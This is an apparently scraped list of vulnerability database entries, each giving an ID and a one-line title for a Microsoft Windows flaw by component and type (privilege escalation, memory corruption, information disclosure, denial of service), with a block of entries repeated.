[159522] Microsoft Windows up to Server 2019 DirectWrite information disclosure
[159521] Microsoft Windows up to Server 2019 SSDP Provider privilege escalation
[159518] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159517] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159513] Microsoft Windows up to Server 2019 DirectX privilege escalation
[159512] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159509] Microsoft Windows 10 1909/10 2004 Codecs Library memory corruption
[159504] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159503] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159500] Microsoft Windows up to Server 2004 Codecs Library memory corruption
[159499] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159497] Microsoft Windows up to Server 2019 Media Audio Codec memory corruption
[159496] Microsoft Windows up to 10 2004 Codecs Library memory corruption
[159495] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159494] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159433] Microsoft Windows net use weak authentication
[159426] Microsoft Windows VCF Card privilege escalation
[159425] Microsoft Windows Group File privilege escalation
[158019] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157995] Microsoft Windows up to Server 2019 WalletService information disclosure
[157993] Microsoft Windows up to Server 2019 WalletService privilege escalation
[157991] Microsoft Windows up to Server 2019 Update Stack privilege escalation
[157990] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[157989] Microsoft Windows up to Server 2019 Delivery Optimization Service privilege escalation
[157988] Microsoft Windows 10 2004/Server 2004 Subsystem for Linux privilege escalation
[157986] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157985] Microsoft Windows up to Server 2019 Profile Service privilege escalation
[157984] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157983] Microsoft Windows up to Server 2019 Kernel privilege escalation
[157981] Microsoft Windows up to Server 2019 Kernel information disclosure
[157979] Microsoft Windows up to Server 2019 Resource Policy information disclosure
[157978] Microsoft Windows up to Server 2019 Kernel information disclosure
[157977] Microsoft Windows up to Server 2019 Kernel memory corruption
[157975] Microsoft Windows up to Server 2019 ALPC privilege escalation
[157973] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157972] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157971] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157970] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157969] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157968] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157963] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157960] Microsoft Windows up to Server 2019 Diagnostics Hub privilege escalation
[157957] Microsoft Windows up to Server 2019 Push Notification Service privilege escalation
[157956] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service information disclosure
[157955] Microsoft Windows up to Server 2019 Agent Activation Runtime information disclosure
[157952] Microsoft Windows up to Server 2019 USO Core Worker privilege escalation
[157951] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[157950] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157949] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157948] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157946] Microsoft Windows up to Server 2019 lnk File privilege escalation
[157945] Microsoft Windows up to Server 2019 Error Reporting information disclosure
[157944] Microsoft Windows iSCSI Target Service privilege escalation
[157943] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157942] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157941] Microsoft Windows up to Server 2019 Remote Desktop Client memory corruption
[157939] Microsoft Windows up to Server 2019 Picker Platform privilege escalation
[157938] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157937] Microsoft Windows up to Server 2019 Windows Print Workflow Service privilege escalation
[157936] Microsoft Windows up to Server 2019 Event Logging privilege escalation
[157935] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157934] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[157933] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157930] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157925] Microsoft Windows up to Server 2019 Error Reporting Manager privilege escalation
[157924] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[157923] Microsoft Windows up to Server 2019 Network Connections Service privilege escalation
[157922] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157921] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[157920] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[157919] Microsoft Windows up to Server 2019 Mobile Device Management information disclosure
[157918] Microsoft Windows up to Server 2019 ActiveX Installer Service privilege escalation
[157916] Microsoft Windows up to Server 2019 Windows Address Book privilege escalation
[157913] Microsoft OneDrive on Windows privilege escalation
[157895] Microsoft Windows Defender MpSigStub.exe privilege escalation
[157894] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157893] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[157892] Microsoft Windows up to Server 2019 JET Database Engine		N/A
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[176522] Microsoft Windows 7 SP1 up to Server 2019 MSHTML Platform unknown vulnerability
[176520] Microsoft Windows 10 20H2 up to Server 2004 DWM Core Library unknown vulnerability
[176515] Microsoft Windows 10 up to Server 2019 Hyper-V denial of service
[176514] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176513] Microsoft Windows 8.1 up to Server 2019 Server for NFS information disclosure
[176512] Microsoft Windows 8.1 up to Server 2019 NFS denial of service
[176511] Microsoft Windows 7 SP1 up to Server 2019 GPSVC unknown vulnerability
[176510] Microsoft Windows 7 SP1 up to Server 2019 Event Tracing information disclosure
[176509] Microsoft Windows 7 SP1 up to Server 2019 HTML Platform unknown vulnerability
[176508] Microsoft Windows 8.1 up to Server 2019 TCP/IP Driver denial of service
[176507] Microsoft Windows 10 20H2 up to Server 2019 Cloud Files Mini Filter Driver unknown vulnerability
[176506] Microsoft Windows 7 SP1 up to Server 2019 Remote Desktop Services denial of service
[176500] Microsoft Windows 7 SP1 up to Server 2019 Kerberos AppContainer unknown vulnerability
[176499] Microsoft Windows 10 20H2/10 21H1/10 2004/Server 20H2/Server 2004 Bind Filter Driver information disclosure
[176498] Microsoft Windows 7 SP1 up to Server 2019 Scripting Engine unknown vulnerability
[176497] Microsoft Windows 7 SP1 up to Server 2019 NTLM unknown vulnerability
[176495] Microsoft Windows 7 SP1 up to Server 2019 NTFS unknown vulnerability
[176494] Microsoft Windows 10 20H2 up to Server 2004 Kernel information disclosure
[176493] Microsoft Windows 7 SP1 up to Server 2019 Common Log File System Driver unknown vulnerability
[176492] Microsoft Windows 7 SP1 up to Server 2019 Filter Manager unknown vulnerability
[176491] Microsoft Windows 10 20H2 up to Server 2019 Kernel-Mode Driver unknown vulnerability
[176490] Microsoft Windows 10 20H2 up to Server 2019 Kernel unknown vulnerability
[176477] Microsoft Windows 7 SP1 up to Server 2019 Enhanced Cryptographic Provider unknown vulnerability
[176474] Microsoft Windows 7 SP1 up to Server 2019 DCOM Server unknown vulnerability
[174874] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174873] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking information disclosure
[174871] Microsoft Windows 7 SP1 up to Server 2019 Wireless Networking unknown vulnerability
[174870] Microsoft Windows 7 SP1 up to Server 2019 unknown vulnerability
[174868] Microsoft Windows 8.1 up to Server 2019 CSC Service information disclosure
[174866] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174865] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 HTTP Protocol Stack unknown vulnerability
[174864] Microsoft Windows 10 20H2 up to Server 2019 Container Manager Service unknown vulnerability
[174863] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174862] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174861] Microsoft Windows 10 20H2 up to Server 2019 Graphics unknown vulnerability
[174849] Microsoft Windows 7 SP1 up to Server 2019 Bluetooth Driver unknown vulnerability
[174848] Microsoft Windows 7 SP1 up to Server 2019 Infrared Data Association information disclosure
[174847] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Desktop Bridge denial of service
[174846] Microsoft Windows 7 SP1 up to Server 2019 RDP information disclosure
[174845] Microsoft Windows 10 20H2 up to 10 2004 WalletService unknown vulnerability
[174844] Microsoft Windows 7 SP1 up to Server 2019 Graphics unknown vulnerability
[174843] Microsoft Windows 10 1809/Server 2019 Container Isolation FS Filter Driver unknown vulnerability
[174842] Microsoft Windows 10 20H2 up to Server 2019 Projected File System FS Filter Driver information disclosure
[174841] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Media Foundation Core unknown vulnerability
[174840] Microsoft Windows 7 SP1 up to Server 2019 on SSDP Service unknown vulnerability
[174839] Microsoft Windows 7 SP1 up to Server 2019 OLE Automation unknown vulnerability
[174835] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB Client Security Feature unknown vulnerability
[174824] Microsoft Windows 7 SP1 up to Server 2019 Hyper-V VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST unknown vulnerability
[172949] Microsoft Windows 10 up to Server 2019 Media Photo Codec information disclosure
[172947] Microsoft Windows 7 SP1 up to Server 2019 Internet Messaging API unknown vulnerability
[172941] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172937] Microsoft Windows 10 20H2 up to Server 2019 Hyper-V denial of service
[172933] Microsoft Windows 10 20H2 up to Server 2019 Application Compatibility Cache denial of service
[172929] Microsoft Windows 7 SP1 up to Server 2019 Media Video Decoder unknown vulnerability
[172925] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP Driver denial of service
[172921] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172920] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB information disclosure
[172919] Microsoft Windows 8.1 up to Server 2019 SMB information disclosure
[172917] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172916] Microsoft Windows 7 SP1 up to Server 2019 DNS information disclosure
[172915] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172914] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172913] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172912] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172911] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172910] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172909] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172908] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172907] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172906] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172905] Microsoft Windows 7 SP1 up to Server 2019 on Remote Procedure Call Runtime unknown vulnerability
[172904] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172903] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172902] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172901] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172900] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172899] Microsoft Windows 8.1 up to Server 2019 Remote Procedure Call Runtime Remote unknown vulnerability
[172898] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172896] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172895] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172894] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[172892] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172891] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172890] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172889] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172888] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172887] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172886] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172885] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call Runtime unknown vulnerability
[172880] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP Driver denial of service
[172877] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP information disclosure
[172875] Microsoft Windows 8.1 up to Server 2019 Hyper-V unknown vulnerability
[172874] Microsoft Windows 7 SP1 up to Server 2019 Network File System unknown vulnerability
[171012] Microsoft Windows 10 20H2 up to Server 2019 NAT denial of service
[171009] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V unknown vulnerability
[171000] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170999] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170998] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170997] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[170996] Microsoft Windows Server 20H2 up to Server 2019 DNS Server code injection
[170995] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170994] Microsoft Windows Server 20H2 up to Server 2019 DNS Server denial of service
[170990] Microsoft Windows Admin Center unknown vulnerability
[170981] Microsoft Windows 7 SP1 up to Server 2019 Remote Access API privileges management
[170979] Microsoft Windows 10 20H2 up to Server 2019 OpenType Font Parser code injection
[170978] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[170907] Microsoft Windows 10 20H2 up to Server 2019 Application Virtualization code injection
[170436] Microsoft Windows 8.1 up to Server 2019 Extended Protection for Authentication improper authentication
[169530] Microsoft Windows 7 SP1 up to Server 2019 Trust Verification API denial of service
[169529] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169528] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP unknown vulnerability
[169527] Microsoft Windows 7 SP1 up to Server 2019 TCP/IP denial of service
[169526] Microsoft Windows 7 SP1 up to Server 2019 Remote Procedure Call information disclosure
[169525] Microsoft Windows 7 SP1 up to Server 2019 Local Spooler unknown vulnerability
[169524] Microsoft Windows 10 20H2 up to Server 2019 Microsoft.PowerShell.Utility Module protection mechanism
[169521] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Network File System denial of service
[169509] Microsoft Windows 7 SP1 up to Server 2019 Address Book unknown vulnerability
[169502] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169501] Microsoft Windows 7 SP1 up to Server 2019 Fax Service unknown vulnerability
[169499] Microsoft Windows Server 20H2 up to Server 2019 DNS Server unknown vulnerability
[169498] Microsoft Windows 10 up to Server 2019 unknown vulnerability
[169497] Microsoft Windows 10 Version 1809 for 32-bit Systems Codecs Library unknown vulnerability
[169487] Microsoft Windows 10 up to Server 2019 Graphics unknown vulnerability
[167703] Microsoft Windows 7 SP1 up to Server 2019 Update Stack privileges management
[167700] Microsoft Windows 10 up to Server 2019 RDP authorization
[167699] Microsoft Windows 7 SP1 up to Server 2019 RDP Core unknown vulnerability
[167687] Microsoft Windows 7 SP1 up to Server 2019 Graphics information disclosure
[167686] Microsoft Windows 7 SP1 up to Server 2019 GDI+ information disclosure
[167685] Microsoft Windows 7 SP1 up to Server 2019 Fax Compose Form privileges management
[167680] Microsoft Windows 7 SP1 up to Server 2019 CryptoAPI denial of service
[167664] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167663] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167662] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167661] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167660] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167659] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167658] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167657] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167656] Microsoft Windows 7 SP1 up to Server 2019 RPC Runtime unknown vulnerability
[167655] Microsoft Windows 8.1 up to Server 2019 NTLM unknown vulnerability
[167651] Microsoft Windows 7 SP1 up to Server 2019 Media Foundation unknown vulnerability
[167638] Microsoft Windows 7 SP1 up to Server 2019 DTV-DVD Video Decoder unknown vulnerability
[167637] Microsoft Windows 8.1/10/10 1607/Server 2012 R2/Server 2016 Hyper-V denial of service
[167636] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V denial of service
[167633] Microsoft Windows 7 SP1 up to Server 2019 GDI+ unknown vulnerability
[160963] Microsoft Windows up to Server 2019 Projected Filesystem privilege escalation
[160951] Microsoft Windows up to Server 2019 Kernel memory corruption
[160950] Microsoft OneDrive on Windows privilege escalation
[160949] Microsoft OneDrive on Windows privilege escalation
[160948] Microsoft OneDrive on Windows privilege escalation
[160947] Microsoft Windows up to Server 2019 UPnP Service privilege escalation
[160946] Microsoft Windows up to Server 2019 TLS weak encryption
[160944] Microsoft Windows up to Server 2019 Kernel Improper Initialization
[160943] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[160942] Microsoft Windows up to Server 2019 Kernel information disclosure
[160940] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160939] Microsoft Windows up to Server 2004 InstallService privilege escalation
[160936] Microsoft Windows up to Server 2019 Microsoft COM for Windows privilege escalation
[160932] Microsoft Windows up to Server 2019 CloudExperienceHost privilege escalation
[160930] Microsoft Windows up to Server 2019 fdSSDP.dll privilege escalation
[160925] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160924] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160923] Microsoft Windows up to Server 2019 GDI information disclosure
[160922] Microsoft Windows up to Server 2019 Win32k information disclosure
[160921] Microsoft Windows up to Server 2019 Win32k privilege escalation
[160920] Microsoft Windows up to Server 2019 DNS denial of service
[160912] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[160911] Microsoft Windows up to Server 2004 StartTileData.dll privilege escalation
[160910] Microsoft Windows up to Server 2019 Win32k.sys privilege escalation
[160909] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160908] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160907] Microsoft Windows up to Server 2019 Diagnostics Hub Standard Collector privilege escalation
[160906] Microsoft Windows up to Server 2019 Language Pack Installer privilege escalation
[160905] Microsoft Windows up to Server 2004 StartTileData.dll information disclosure
[160904] Microsoft Windows up to Server 2019 Common Log File System Driver privilege escalation
[160903] Microsoft Windows 10 2004 Shell Infrastructure privilege escalation
[160902] Microsoft Windows up to Server 2019 GDI Dynamically-Managed Code Resources
[160901] Microsoft Windows up to Server 2019 Graphics Component Dynamically-Managed Code Resources
[160900] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[160899] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160898] Microsoft Windows up to Server 2019 DirectX privilege escalation
[160895] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[160894] Microsoft Windows up to Server 2019 Routing Utilities denial of service
[160892] Microsoft Windows up to Server 2019 Kernel information disclosure
[160891] Microsoft Windows up to Server 2019 DHCP Server information disclosure
[160890] Microsoft Windows up to Server 2019 Print Spooler privilege escalation
[160889] Microsoft Windows up to Server 2019 Group Policy privilege escalation
[160886] Microsoft Windows up to Server 2019 Mobile Device Management privilege escalation
[160883] Microsoft Windows up to Server 2019 Kernel information disclosure
[160882] Microsoft Windows up to Server 2019 Graphics Component information disclosure
[160881] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[160880] Microsoft Windows up to Server 2019 Function Discovery SSDP Provider privilege escalation
[160879] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[160876] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160874] Microsoft Windows up to Server 2019 Shell Infrastructure memory corruption
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160871] Microsoft Windows up to Server 2019 NTFS privilege escalation
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160869] Microsoft Windows up to Server 2019 DNS privilege escalation
[160868] Microsoft Windows 10 2004/Server 2004 Projected Filesystem privilege escalation
[160866] Microsoft Windows up to Server 2019 Cryptographic Catalog Service privilege escalation
[160865] Microsoft Windows up to Server 2019 Store Runtime privilege escalation
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160861] Microsoft Windows up to Server 2019 RSoP Service Application privilege escalation
[160855] Microsoft Windows up to Server 2019 Media Audio Decoder memory corruption
[160853] Microsoft Windows up to Server 2019 Media Audio Decoder privilege escalation
[160849] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160848] Microsoft Windows up to Server 2019 GDI+ memory corruption
[160847] Microsoft Windows up to Server 2019 memory corruption
[160843] Microsoft Windows up to Server 2019 Codecs Library memory corruption
[160841] Microsoft Windows up to Server 2019 Camera Codec Pack memory corruption
[160840] Microsoft Windows up to Server 2019 Microsoft COM for Windows memory corruption
[160839] Microsoft Windows up to Server 2019 Text Service Module memory corruption
[159610] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159608] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159604] Microsoft Windows up to Server 2019 Storage Service privilege escalation
[159601] Microsoft Windows up to Server 2019 Speech Shell privilege escalation
[159600] Microsoft Windows up to Server 2019 UPnP Device Host privilege escalation
[159597] Microsoft Windows up to Server 2019 File Server Resource Management Service privilege escalation
[159595] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159594] Microsoft Windows up to Server 2019 Windows Runtime memory corruption
[159593] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159592] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159591] Microsoft Windows up to Server 2019 Work Folder Service memory corruption
[159590] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159589] Microsoft Windows up to Server 2019 State Repository Service information disclosure
[159588] Microsoft Windows up to Server 2019 CDP User memory corruption
[159587] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159585] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service privilege escalation
[159584] Microsoft Windows up to Server 2019 WaasMedic Service information disclosure
[159583] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159582] Microsoft Windows up to Server 2019 Local Security Authority Subsystem Service privilege escalation
[159581] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159580] Microsoft Windows Remote Desktop Gateway privilege escalation
[159579] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159574] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159573] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159572] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159571] Microsoft Windows up to Server 2019 UPnP Device Host memory corruption
[159570] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159568] Microsoft Windows up to Server 2019 CSC Service privilege escalation
[159567] Microsoft Windows up to Server 2019 GDI memory corruption
[159566] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159564] Microsoft Windows up to Server 2019 AppX Deployment Extension privilege escalation
[159563] Microsoft Windows up to Server 2019 Custom Protocol Engine memory corruption
[159562] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159561] Microsoft Windows up to Server 2019 Kernel information disclosure
[159560] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159558] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159557] Microsoft Windows up to Server 2019 Font Driver Host memory corruption
[159556] Microsoft Windows up to Server 2019 Speech Runtime privilege escalation
[159555] Microsoft Windows up to Server 2019 Backup Service privilege escalation
[159554] Microsoft Windows up to RT 8.1 Backup Engine privilege escalation
[159553] Microsoft Windows up to Server 2019 Telephony Server privilege escalation
[159552] Microsoft Windows up to Server 2019 CDP User memory corruption
[159550] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159548] Microsoft Windows up to Server 2019 Backup Engine privilege escalation
[159545] Microsoft Windows up to Server 2019 GDI privilege escalation
[159543] Microsoft Windows up to Server 2019 Kernel memory corruption
[159542] Microsoft Windows up to Server 2019 Hard Link privilege escalation
[159541] Microsoft Windows up to Server 2019 Remote Access memory corruption
[159540] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159539] Microsoft Windows up to Server 2019 Radio Manager API memory corruption
[159537] Microsoft Windows up to Server 2019 Accounts Control memory corruption
[159534] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159531] Microsoft Windows up to Server 2019 Graphics Component memory corruption
[159530] Microsoft Windows up to Server 2019 Media Foundation information disclosure
[159529] Microsoft Windows up to Server 2019 Network Connection Broker privilege escalation
[159528] Microsoft Windows up to Server 2019 Ancillary Function Driver for WinSock privilege escalation
[159526] Microsoft Windows up to Server 2019 Public Account Pictures Folder privilege escalation
[159524] Microsoft Windows up to Server 2019 Win32k information disclosure
[159523] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159522] Microsoft Windows up to Server 2019 DirectWrite information disclosure
[159521] Microsoft Windows up to Server 2019 SSDP Provider privilege escalation
[159518] Microsoft Windows up to Server 2019 JET Database Engine memory corruption
[159517] Microsoft Windows up to Server 2019 Work Folders Service privilege escalation
[159513] Microsoft Windows up to Server 2019 DirectX privilege escalation
[159512] Microsoft Windows up to Server 2019 Kernel privilege escalation
[159509] Microsoft Windows 10 1909/10 2004 Codecs Library memory corruption
[159504] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159503] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159500] Microsoft Windows up to Server 2004 Codecs Library memory corruption
[159499] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159497] Microsoft Windows up to Server 2019 Media Audio Codec memory corruption
[159496] Microsoft Windows up to 10 2004 Codecs Library memory corruption
[159495] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159494] Microsoft Windows up to Server 2019 Media Foundation memory corruption
[159433] Microsoft Windows net use weak authentication
[159426] Microsoft Windows VCF Card privilege escalation
[159425] Microsoft Windows Group File privilege escalation
[158019] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157995] Microsoft Windows up to Server 2019 WalletService information disclosure
[157993] Microsoft Windows up to Server 2019 WalletService privilege escalation
[157991] Microsoft Windows up to Server 2019 Update Stack privilege escalation
[157990] Microsoft Windows up to Server 2019 Modules Installer privilege escalation
[157989] Microsoft Windows up to Server 2019 Delivery Optimization Service privilege escalation
[157988] Microsoft Windows 10 2004/Server 2004 Subsystem for Linux privilege escalation
[157986] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157985] Microsoft Windows up to Server 2019 Profile Service privilege escalation
[157984] Microsoft Windows up to Server 2019 Windows Runtime privilege escalation
[157983] Microsoft Windows up to Server 2019 Kernel privilege escalation
[157981] Microsoft Windows up to Server 2019 Kernel information disclosure
[157979] Microsoft Windows up to Server 2019 Resource Policy information disclosure
[157978] Microsoft Windows up to Server 2019 Kernel information disclosure
[157977] Microsoft Windows up to Server 2019 Kernel memory corruption
[157975] Microsoft Windows up to Server 2019 ALPC privilege escalation
[157973] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157972] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157971] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157970] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157969] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157968] Microsoft Windows 2012/2012 R2/2016/Server 2008 R2 SP1 Hyper-V RemoteFX vGPU privilege escalation
[157963] Microsoft Windows up to Server 2019 CNG Key Isolation Service privilege escalation
[157960] Microsoft Windows up to Server 2019 Diagnostics Hub privilege escalation
[157957] Microsoft Windows up to Server 2019 Push Notification Service privilege escalation
[157956] Microsoft Windows up to Server 2019 Connected User Experiences/Telemetry Service information disclosure
[157955] Microsoft Windows up to Server 2019 Agent Activation Runtime information disclosure
